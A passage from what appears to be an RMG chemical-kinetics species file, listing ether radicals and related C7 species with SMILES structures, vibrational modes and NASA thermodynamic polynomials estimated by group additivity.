thermo = NASA(polynomials=[NASAPolynomial(coeffs=[-0.116875,0.0920235,-8.42613e-05,4.28703e-08,-9.11656e-12,23096.8,32.5505], Tmin=(100,'K'), Tmax=(1108.61,'K')), NASAPolynomial(coeffs=[13.2829,0.0436758,-1.88451e-05,3.53229e-09,-2.45596e-13,20125.8,-33.4773], Tmin=(1108.61,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(190.815,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(457.296,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(O2s-CsCs) + longDistanceInteraction_noncyclic(OsCs-ST) + group(Cs-CsCsOsH) + group(Cs-(Cds-Cds)CsHH) + group(Cs-CsOsHH) + group(Cs-CsHHH) + group(Cs-CsHHH) + group(Cds-CdsCsH) + group(Cds-CdsHH) + radical(CCsJOCs) + radical(Cds_S)"""),
)
species(
label = 'C=C[CH][C](C)OCC(3818)',
structure = SMILES('[CH2][CH]C=C(C)OCC'),
E0 = (60.3895,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
molecularWeight = (112.17,'amu'),
energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85),
thermo = NASA(polynomials=[NASAPolynomial(coeffs=[-0.241916,0.0805121,-4.48186e-05,1.20008e-09,5.07182e-12,7426.86,32.0078], Tmin=(100,'K'), Tmax=(1057.2,'K')), NASAPolynomial(coeffs=[17.8313,0.0354302,-1.39126e-05,2.55712e-09,-1.78652e-13,2303.4,-62.3483], Tmin=(1057.2,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(60.3895,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(457.296,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(O2s-Cs(Cds-Cd)) + group(Cs-(Cds-Cds)CsHH) + group(Cs-CsOsHH) + group(Cs-CsHHH) + group(Cs-CsHHH) + group(Cs-(Cds-Cds)HHH) + group(Cds-CdsCsOs) + group(Cds-CdsCsH) + radical(Allyl_S) + radical(RCCJ)"""),
)
species(
label = '[CH2]C(CC=C)O[CH]C(3819)',
structure = SMILES('[CH2]C(CC=C)O[CH]C'),
E0 = (163.484,'kJ/mol'),
modes = [
HarmonicOscillator(frequencies=([3025,407.5,1350,352.5,3010,987.5,1337.5,450,1655,2950,3100,1380,975,1025,1650,1380,1390,370,380,2900,435,3000,3100,440,815,1455,1000,2750,2800,2850,1350,1500,750,1050,1375,1000,2750,2850,1437.5,1250,1305,750,350,200,800,1066.67,1333.33,1600],'cm^-1')),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
],
spinMultiplicity = 3,
opticalIsomers = 1,
molecularWeight = (112.17,'amu'),
energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85),
thermo = NASA(polynomials=[NASAPolynomial(coeffs=[-0.476514,0.100614,-0.000104239,5.97469e-08,-1.40617e-11,19822,33.124], Tmin=(100,'K'), Tmax=(1019.28,'K')), NASAPolynomial(coeffs=[14.4489,0.0420412,-1.80417e-05,3.36892e-09,-2.33728e-13,16779.4,-39.1673], Tmin=(1019.28,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(163.484,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(457.296,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(O2s-CsCs) + longDistanceInteraction_noncyclic(OsCs-ST) + group(Cs-CsCsOsH) + group(Cs-(Cds-Cds)CsHH) + group(Cs-CsOsHH) + group(Cs-CsHHH) + group(Cs-CsHHH) + group(Cds-CdsCsH) + group(Cds-CdsHH) + radical(CCsJOCs) + radical(CJC(C)OC)"""),
)
species(
label = '[CH]=CCC(C)O[CH]C(3820)',
structure = SMILES('[CH]=CCC(C)O[CH]C'),
E0 = (200.07,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
molecularWeight = (112.17,'amu'),
energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85),
thermo = NASA(polynomials=[NASAPolynomial(coeffs=[-0.310273,0.0928,-8.28024e-05,3.97954e-08,-7.8573e-12,24219.7,33.1694], Tmin=(100,'K'), Tmax=(1200.49,'K')), NASAPolynomial(coeffs=[15.5654,0.0399021,-1.6706e-05,3.08966e-09,-2.13273e-13,20408,-46.322], Tmin=(1200.49,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(200.07,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(457.296,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(O2s-CsCs) + longDistanceInteraction_noncyclic(OsCs-ST) + group(Cs-CsCsOsH) + group(Cs-(Cds-Cds)CsHH) + group(Cs-CsOsHH) + group(Cs-CsHHH) + group(Cs-CsHHH) + group(Cds-CdsCsH) + group(Cds-CdsHH) + radical(Cds_P) + radical(CCsJOCs)"""),
)
species(
label = '[CH2]C=CC([CH2])OCC(3772)',
structure = SMILES('[CH2]C([CH]C=C)OCC'),
E0 = (99.9445,'kJ/mol'),
modes = [
HarmonicOscillator(frequencies=([3025,407.5,1350,352.5,3010,987.5,1337.5,450,1655,2950,3100,1380,975,1025,1650,1380,1390,370,380,2900,435,3000,3100,440,815,1455,1000,2750,2800,2850,1350,1500,750,1050,1375,1000,2750,2850,1437.5,1250,1305,750,350,200,800,1066.67,1333.33,1600],'cm^-1')),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
],
spinMultiplicity = 3,
opticalIsomers = 1,
molecularWeight = (112.17,'amu'),
energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85),
thermo = NASA(polynomials=[NASAPolynomial(coeffs=[-0.298874,0.0964724,-8.91655e-05,4.51931e-08,-9.54898e-12,12173.7,30.2367], Tmin=(100,'K'), Tmax=(1115.57,'K')), NASAPolynomial(coeffs=[14.0838,0.0449018,-1.98234e-05,3.75425e-09,-2.62508e-13,8964.76,-40.7243], Tmin=(1115.57,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(99.9445,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(457.296,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(O2s-CsCs) + longDistanceInteraction_noncyclic(OsCs-ST) + group(Cs-CsCsOsH) + group(Cs-(Cds-Cds)CsHH) + group(Cs-CsOsHH) + group(Cs-CsHHH) + group(Cs-CsHHH) + group(Cds-CdsCsH) + group(Cds-CdsHH) + radical(C=CCJCO) + radical(CJC(C)OC)"""),
)
species(
label = '[CH2][CH]OC(C)CC=C(3821)',
structure = SMILES('[CH2][CH]OC(C)CC=C'),
E0 = (164.563,'kJ/mol'),
modes = [
HarmonicOscillator(frequencies=([3025,407.5,1350,352.5,3010,987.5,1337.5,450,1655,2950,3100,1380,975,1025,1650,1380,1390,370,380,2900,435,2750,2850,1437.5,1250,1305,750,350,2750,2800,2850,1350,1500,750,1050,1375,1000,3000,3100,440,815,1455,1000,200,800,1066.67,1333.33,1600],'cm^-1')),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
],
spinMultiplicity = 3,
opticalIsomers = 1,
molecularWeight = (112.17,'amu'),
energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85),
thermo = NASA(polynomials=[NASAPolynomial(coeffs=[-0.406804,0.094678,-8.66438e-05,4.25818e-08,-8.55409e-12,19952.9,33.7467], Tmin=(100,'K'), Tmax=(1185.45,'K')), NASAPolynomial(coeffs=[16.0774,0.0390565,-1.62638e-05,3.00204e-09,-2.07117e-13,16044.6,-48.5844], Tmin=(1185.45,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(164.563,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(457.296,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(O2s-CsCs) + longDistanceInteraction_noncyclic(OsCs-ST) + group(Cs-CsCsOsH) + group(Cs-(Cds-Cds)CsHH) + group(Cs-CsOsHH) + group(Cs-CsHHH) + group(Cs-CsHHH) + group(Cds-CdsCsH) + group(Cds-CdsHH) + radical(CJCO) + radical(CCsJOCs)"""),
)
species(
label = 'C=[C][CH]C(C)OCC(3822)',
structure = SMILES('C=[C][CH]C(C)OCC'),
E0 = (127.276,'kJ/mol'),
modes = [
HarmonicOscillator(frequencies=([3025,407.5,1350,352.5,1685,370,2950,3100,1380,975,1025,1650,1380,1390,370,380,2900,435,2750,2850,1437.5,1250,1305,750,350,2750,2770,2790,2810,2830,2850,1350,1400,1450,1500,700,800,1000,1100,1350,1400,900,1100,200,800,1066.67,1333.33,1600],'cm^-1')),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
],
spinMultiplicity = 3,
opticalIsomers = 1,
molecularWeight = (112.17,'amu'),
energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85),
thermo = NASA(polynomials=[NASAPolynomial(coeffs=[0.0212198,0.0883855,-7.10432e-05,3.07396e-08,-5.60672e-12,15450,29.8016], Tmin=(100,'K'), Tmax=(1261.27,'K')), NASAPolynomial(coeffs=[13.5439,0.0454995,-2.00399e-05,3.78083e-09,-2.63145e-13,12038.9,-38.5764], Tmin=(1261.27,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(127.276,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(457.296,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(O2s-CsCs) + longDistanceInteraction_noncyclic(OsCs-ST) + group(Cs-CsCsOsH) + group(Cs-(Cds-Cds)CsHH) + group(Cs-CsOsHH) + group(Cs-CsHHH) + group(Cs-CsHHH) + group(Cds-CdsCsH) + group(Cds-CdsHH) + radical(C=CCJCO) + radical(Cds_S)"""),
)
species(
label = '[CH]=C[CH]C(C)OCC(3823)',
structure = SMILES('[CH]C=CC(C)OCC'),
E0 = (128.528,'kJ/mol'),
modes = [
HarmonicOscillator(frequencies=([1380,1390,370,380,2900,435,2750,2850,1437.5,1250,1305,750,350,2995,3025,975,1000,1300,1375,400,500,1630,1680,2750,2770,2790,2810,2830,2850,1350,1400,1450,1500,700,800,1000,1100,1350,1400,900,1100,200,800,960,1120,1280,1440,1600],'cm^-1')),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
],
spinMultiplicity = 3,
opticalIsomers = 1,
molecularWeight = (112.17,'amu'),
energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85),
thermo = NASA(polynomials=[NASAPolynomial(coeffs=[-0.277184,0.0839529,-5.35869e-05,1.70314e-08,-2.20242e-12,15620.6,34.8068], Tmin=(100,'K'), Tmax=(1761.18,'K')), NASAPolynomial(coeffs=[19.1277,0.0398808,-1.60509e-05,2.82284e-09,-1.85533e-13,8785.4,-69.7938], Tmin=(1761.18,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(128.528,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(457.296,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(O2s-CsCs) + group(Cs-(Cds-Cds)CsOsH) + group(Cs-CsOsHH) + group(Cs-CsHHH) + group(Cs-CsHHH) + group(Cs-(Cds-Cds)HHH) + group(Cds-CdsCsH) + group(Cds-CdsCsH) + radical(AllylJ2_triplet)"""),
)
species(
label = 'C[CH][O](2420)',
structure = SMILES('C[CH][O]'),
E0 = (157.6,'kJ/mol'),
modes = [
HarmonicOscillator(frequencies=([2750,2800,2850,1350,1500,750,1050,1375,1000,3025,407.5,1350,352.5,1642.51],'cm^-1')),
HinderedRotor(inertia=(0.123965,'amu*angstrom^2'), symmetry=1, barrier=(2.85019,'kJ/mol'), semiclassical=False),
],
spinMultiplicity = 3,
opticalIsomers = 1,
molecularWeight = (44.0526,'amu'),
energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85),
thermo = NASA(polynomials=[NASAPolynomial(coeffs=[3.65562,0.0114444,2.34936e-06,-4.83164e-09,1.17966e-12,18963.9,10.3625], Tmin=(100,'K'), Tmax=(1718.65,'K')), NASAPolynomial(coeffs=[6.06294,0.0136322,-6.35953e-06,1.18407e-09,-7.90642e-14,16985.9,-5.90233], Tmin=(1718.65,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(157.6,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(199.547,'J/(mol*K)'), comment="""Thermo library: FFCM1(-) + radical(CCsJOH) + radical(CCOJ)"""),
)
species(
label = 'C[CH]OC(C)C1[CH]C1(3824)',
structure = SMILES('C[CH]OC(C)C1[CH]C1'),
E0 = (204.659,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
molecularWeight = (112.17,'amu'),
energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85),
thermo = NASA(polynomials=[NASAPolynomial(coeffs=[-0.0842848,0.077934,-4.33036e-05,3.40071e-09,3.49607e-12,24771.9,33.105], Tmin=(100,'K'), Tmax=(1090.26,'K')), NASAPolynomial(coeffs=[16.4392,0.0372404,-1.47348e-05,2.69719e-09,-1.87009e-13,19984.5,-53.4712], Tmin=(1090.26,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(204.659,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(461.453,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(O2s-CsCs) + longDistanceInteraction_noncyclic(OsCs-ST) + group(Cs-CsCsCsH) + group(Cs-CsCsOsH) + group(Cs-CsCsHH) + group(Cs-CsCsHH) + group(Cs-CsOsHH) + group(Cs-CsHHH) + group(Cs-CsHHH) + ring(Cyclopropane) + radical(cyclopropane) + radical(CCsJOCs)"""),
)
species(
label = 'CC1[CH][CH]CC(C)O1(3825)',
structure = SMILES('CC1[CH][CH]CC(C)O1'),
E0 = (77.3515,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
molecularWeight = (112.17,'amu'),
energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85),
thermo = NASA(polynomials=[NASAPolynomial(coeffs=[1.30204,0.0422985,5.4693e-05,-9.69592e-08,4.02792e-11,9416.05,26.6635], Tmin=(100,'K'), Tmax=(925.907,'K')), NASAPolynomial(coeffs=[11.84,0.0402369,-1.23789e-05,2.03102e-09,-1.37274e-13,5601.57,-33.4253], Tmin=(925.907,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(77.3515,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(473.925,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(O2s-CsCs) + group(Cs-CsCsOsH) + group(Cs-CsCsOsH) + group(Cs-CsCsHH) + group(Cs-CsCsHH) + group(Cs-CsCsHH) + group(Cs-CsHHH) + group(Cs-CsHHH) + ring(Oxane) + radical(RCCJCC) + radical(CCJCO)"""),
)
species(
label = 'C=CC=C(C)OCC(3826)',
structure = SMILES('C=CC=C(C)OCC'),
E0 = (-175.527,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
molecularWeight = (112.17,'amu'),
energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85),
thermo = NASA(polynomials=[NASAPolynomial(coeffs=[-0.399998,0.0811753,-3.54254e-05,-1.76681e-08,1.41407e-11,-20938.6,29.1159], Tmin=(100,'K'), Tmax=(981.346,'K')), NASAPolynomial(coeffs=[20.8197,0.0297981,-1.05685e-05,1.90842e-09,-1.35414e-13,-26794.3,-81.4725], Tmin=(981.346,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(-175.527,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(461.453,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(O2s-Cs(Cds-Cd)) + group(Cs-CsOsHH) + group(Cs-CsHHH) + group(Cs-(Cds-Cds)HHH) + group(Cds-CdsCsOs) + group(Cds-Cds(Cds-Cds)H) + group(Cds-Cds(Cds-Cds)H) + group(Cds-CdsHH)"""),
)
species(
label = 'C=CCC(C)OC=C(3827)',
structure = SMILES('C=CCC(C)OC=C'),
E0 = (-141.708,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
molecularWeight = (112.17,'amu'),
energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85),
thermo = NASA(polynomials=[NASAPolynomial(coeffs=[-0.319971,0.0748521,-8.40801e-06,-5.14369e-08,2.74884e-11,-16869.8,31.0514], Tmin=(100,'K'), Tmax=(959.372,'K')), NASAPolynomial(coeffs=[23.0721,0.0260737,-8.36718e-06,1.50372e-09,-1.1023e-13,-23601.7,-92.5246], Tmin=(959.372,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(-141.708,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(461.453,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(O2s-Cs(Cds-Cd)) + group(Cs-CsCsOsH) + group(Cs-(Cds-Cds)CsHH) + group(Cs-CsHHH) + group(Cds-CdsCsH) + group(Cds-CdsOsH) + group(Cds-CdsHH) + group(Cds-CdsHH)"""),
)
species(
label = 'C=C=CC(C)OCC(3828)',
structure = SMILES('C=C=CC(C)OCC'),
E0 = (-65.5517,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
molecularWeight = (112.17,'amu'),
energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85),
thermo = NASA(polynomials=[NASAPolynomial(coeffs=[-0.0777533,0.0820083,-5.81638e-05,2.09623e-08,-3.08141e-12,-7731.24,32.02], Tmin=(100,'K'), Tmax=(1571.44,'K')), NASAPolynomial(coeffs=[17.5735,0.037078,-1.5276e-05,2.76762e-09,-1.86814e-13,-13278.8,-61.1154], Tmin=(1571.44,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(-65.5517,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(461.453,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(O2s-CsCs) + group(Cs-(Cds-Cds)CsOsH) + group(Cs-CsOsHH) + group(Cs-CsHHH) + group(Cs-CsHHH) + group(Cds-CdsCsH) + group(Cds-CdsHH) + group(Cdd-CdsCds)"""),
)
species(
label = 'CH2(S)(40)',
structure = SMILES('[CH2]'),
E0 = (418.921,'kJ/mol'),
modes = [
HarmonicOscillator(frequencies=([1358.21,2621.43,3089.55],'cm^-1')),
],
spinMultiplicity = 1,
opticalIsomers = 1,
molecularWeight = (14.0266,'amu'),
collisionModel = TransportData(shapeIndex=2, epsilon=(1197.29,'J/mol'), sigma=(3.8,'angstroms'), dipoleMoment=(0,'C*m'), polarizability=(0,'angstroms^3'), rotrelaxcollnum=0.0, comment="""GRI-Mech"""),
energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85),
thermo = NASA(polynomials=[NASAPolynomial(coeffs=[4.19331,-0.00233105,8.15676e-06,-6.62986e-09,1.93233e-12,50366.2,-0.746734], Tmin=(200,'K'), Tmax=(1000,'K')), NASAPolynomial(coeffs=[3.13502,0.00289594,-8.16668e-07,1.13573e-10,-6.36263e-15,50504.1,4.06031], Tmin=(1000,'K'), Tmax=(6000,'K'))], Tmin=(200,'K'), Tmax=(6000,'K'), E0=(418.921,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(58.2013,'J/(mol*K)'), label="""CH2(S)""", comment="""Thermo library: FFCM1(-)"""),
)
species(
label = 'C=C[CH]CO[CH]C(3798)',
structure = SMILES('C=C[CH]CO[CH]C'),
E0 = (104.222,'kJ/mol'),
modes = [
HarmonicOscillator(frequencies=([2950,3100,1380,975,1025,1650,2750,2800,2850,1350,1500,750,1050,1375,1000,2750,2850,1437.5,1250,1305,750,350,3010,987.5,1337.5,450,1655,3000,3050,390,425,1340,1360,335,370,200,800,1066.67,1333.33,1600],'cm^-1')),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
],
spinMultiplicity = 3,
opticalIsomers = 1,
molecularWeight = (98.143,'amu'),
energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85),
thermo = NASA(polynomials=[NASAPolynomial(coeffs=[0.173995,0.0808482,-7.1645e-05,3.35054e-08,-6.38097e-12,12675.4,26.3274], Tmin=(100,'K'), Tmax=(1247.9,'K')), NASAPolynomial(coeffs=[15.226,0.0326005,-1.36504e-05,2.52289e-09,-1.74037e-13,8918.7,-49.6235], Tmin=(1247.9,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(104.222,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(386.623,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(O2s-CsCs) + group(Cs-(Cds-Cds)CsHH) + group(Cs-CsOsHH) + group(Cs-CsOsHH) + group(Cs-CsHHH) + group(Cds-CdsCsH) + group(Cds-CdsHH) + radical(CCsJOCs) + radical(C=CCJCO)"""),
)
species(
label = 'C=CC(C)[CH]O[CH]C(3829)',
structure = SMILES('C=CC(C)[CH]O[CH]C'),
E0 = (136.009,'kJ/mol'),
modes = [
HarmonicOscillator(frequencies=([1380,1390,370,380,2900,435,3000,3050,390,425,1340,1360,335,370,2950,3100,1380,975,1025,1650,3010,987.5,1337.5,450,1655,2750,2770,2790,2810,2830,2850,1350,1400,1450,1500,700,800,1000,1100,1350,1400,900,1100,200,800,1066.67,1333.33,1600],'cm^-1')),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
],
spinMultiplicity = 3,
opticalIsomers = 1,
molecularWeight = (112.17,'amu'),
energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85),
thermo = NASA(polynomials=[NASAPolynomial(coeffs=[-0.705444,0.0978297,-9.22448e-05,4.60842e-08,-9.25128e-12,16532.3,33.7292], Tmin=(100,'K'), Tmax=(1201.05,'K')), NASAPolynomial(coeffs=[18.2013,0.0348619,-1.36034e-05,2.43249e-09,-1.65063e-13,11990.7,-60.9484], Tmin=(1201.05,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(136.009,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(457.296,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(O2s-CsCs) + group(Cs-(Cds-Cds)CsCsH) + group(Cs-CsOsHH) + group(Cs-CsOsHH) + group(Cs-CsHHH) + group(Cs-CsHHH) + group(Cds-CdsCsH) + group(Cds-CdsHH) + radical(CCsJOCs) + radical(CCsJOCs)"""),
)
species(
label = 'C=CC1C(C)OC1C(2310)',
structure = SMILES('C=CC1C(C)OC1C'),
E0 = (-96.9159,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
molecularWeight = (112.17,'amu'),
energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85),
thermo = NASA(polynomials=[NASAPolynomial(coeffs=[0.795345,0.0502791,4.76034e-05,-1.02536e-07,4.56333e-11,-11522.1,25.4134], Tmin=(100,'K'), Tmax=(912.959,'K')), NASAPolynomial(coeffs=[17.1677,0.0312619,-7.76378e-06,1.14184e-09,-7.64101e-14,-16708.5,-64.1144], Tmin=(912.959,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(-96.9159,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(469.768,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(O2s-CsCs) + group(Cs-(Cds-Cds)CsCsH) + group(Cs-CsCsOsH) + group(Cs-CsCsOsH) + group(Cs-CsHHH) + group(Cs-CsHHH) + group(Cds-CdsCsH) + group(Cds-CdsHH) + ring(Oxetane)"""),
)
species(
label = 'CHCH3(T)(359)',
structure = SMILES('[CH]C'),
E0 = (343.893,'kJ/mol'),
modes = [
HarmonicOscillator(frequencies=([2750,2800,2850,1350,1500,750,1050,1375,1000,592.414,4000],'cm^-1')),
